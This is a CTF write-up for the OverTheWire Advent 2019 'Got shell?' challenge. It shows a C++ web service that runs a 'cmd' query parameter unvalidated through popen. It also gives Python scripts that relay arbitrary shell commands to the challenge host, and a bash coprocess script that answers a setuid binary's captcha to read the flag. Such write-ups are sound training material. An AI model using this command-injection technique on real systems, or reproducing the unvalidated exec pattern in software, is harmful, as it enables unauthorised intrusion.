]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/litplus/otw19/Adv-24.md
Add werite-up for OTW day-24: Got shell?
[pub/jan/ctf-seminar.git] / writeups / litplus / otw19 / Adv-24.md
1 day-24 Got shell?
2 -----------------
3 OverTheWire Advent 2019, day 24
4
5 Time spent for this challenge: 2.25 hours
6
7  * December 24: 2.25 hours (13:30-15:45)
8
9 ### Overview
10
11 ```
12 Got shell?  web, linux
13 Points: 1337
14
15 Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
16 Service: http://3.93.128.89:1224
17 Author: semchapeu
18 ```
19
20 Accessing the website shows some C++ code:
21
22 ```
23 #include "crow_all.h"
24 #include <cstdio>
25 #include <iostream>
26 #include <memory>
27 #include <stdexcept>
28 #include <string>
29 #include <array>
30 #include <sstream>
31
32 std::string exec(const char* cmd) {
33     std::array<char, 128> buffer;
34     std::string result;
35     std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
36     if (!pipe) {
37         return std::string("Error");
38     }
39     while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
40         result += buffer.data();
41     }
42     return result;
43 }
44
45 int main() {
46     crow::SimpleApp app;
47     app.loglevel(crow::LogLevel::Warning);
48
49     CROW_ROUTE(app, "/")
50     ([](const crow::request& req) {
51         std::ostringstream os;
52         if(req.url_params.get("cmd") != nullptr){
53             os << exec(req.url_params.get("cmd"));
54         } else {
55             os << exec("cat ./source.html"); 
56         }
57         return crow::response{os.str()};
58     });
59
60     app.port(1224).multithreaded().run();
61 }
62 ```
63
64 From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
65
66 ### Exploitation
67 Passing `ls -hla` reveals:
68
69 ```
70 total 44K
71 drwxr-xr-x 1 root root     4.0K Dec 24 11:56 .
72 drwxr-xr-x 1 root root     4.0K Dec 24 11:56 ..
73 ----r----- 1 root gotshell   38 Dec 24 08:32 flag
74 ------s--x 1 root gotshell  18K Dec  5 17:26 flag_reader
75 -rw-rw-r-- 1 root root      11K Dec 24 08:32 source.html
76 ```
77
78 So, the `flag_reader` binary can access the flag, but we cannot do that directly.
79
80 To make command execution easier, I developed a small Python script:
81
82 ```
83 #!/usr/bin/env python3
84 import sys
85 import requests
86
87 while True:
88     print(" > ", end="", flush=True)
89     command=input()
90     print(" ... ", end="\r", flush=True)
91     payload = { 'cmd': command }
92     req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
93     print(req.text)
94 ```
95
96 Some information:
97
98 ```
99  > id
100 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
101  > ./flag_reader
102 Got shell?
103 1411293829 + 1732747376 = Incorrect captcha :(
104  > uname -a
105 Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
106 ```
107
108 The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
109
110 I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
111
112 ```
113 ./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
114 ```
115
116 However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
117
118 In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
119
120 ```
121 #!/bin/bash
122
123 R1=$(echo $RANDOM)
124 R2=$(echo $RANDOM)
125
126 echo "Got a shell?"
127 echo -n "$R1 + $R2 = "
128 read VAL
129 SUM=$(($R1+$R2))
130
131 if [[ $SUM -ne $VAL ]]
132 then
133   echo "Wrong"
134   exit 1
135 else
136   echo "Yes"
137 fi
138 ```
139
140 To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
141
142 ```
143 #!/bin/bash
144 coproc p1 {
145   ./flag_reader
146 }
147
148 #awk '{ sum = $1 + $3 ;
149 #  print sum }' <&${p1[0]} >&${p1[1]}
150 read line <&${p1[0]}
151     echo " -> $line <-"
152
153 read -d "=" captcha <&${p1[0]}
154 solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
155   print sum }')
156 echo "hey solute $solution"
157 echo "$solution" >&${p1[1]}
158
159 echo "hi"
160 tee <&${p1[0]}
161 ```
162
163 This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
164
165 ```
166 import sys
167 import requests
168 import requests.exceptions
169
170 script=""
171
172 while True:
173     print(" > ", end="", flush=True)
174     command=input()
175     worked=False
176     while not worked:
177         try:
178             if command == "EXPL":
179                 with open("proc.sh", "r") as file:
180                     script = "".join(file.readlines())
181                 command=script
182             escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
183             full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
184             payload = { 'cmd': full}
185             print(full)
186             print(" ... ", end="\r", flush=True)
187             req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
188             print("     ", end="\r", flush=True)
189             print(req.text)
190             print("(done)")
191             worked=True
192         except requests.exceptions.ReadTimeout:
193             print("(timed out)")
194         except requests.exceptions.ConnectionError:
195             print("(connect error)")
196 ```
197
198 What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
199
200 Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
201
202 ```
203 HELLO
204  -> Got shell? <-
205 hey solute 3.43413e+09
206 hi
207  Incorrect captcha :(
208 ```
209
210 The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
211
212 ```
213 echo "HELLO";
214 coproc p1 {
215 ./flag_reader;
216 };
217 read line <&${p1[0]};
218 echo " -> $line <-";
219 read -d "=" captcha <&${p1[0]};
220 solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
221   printf "%.0f", sum }');
222 echo "hey solute $solution";
223 echo "$solution" >&${p1[1]};
224 echo "hi";
225 cat <&${p1[0]}
226 ```
227
228 Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.
229
230 ---
231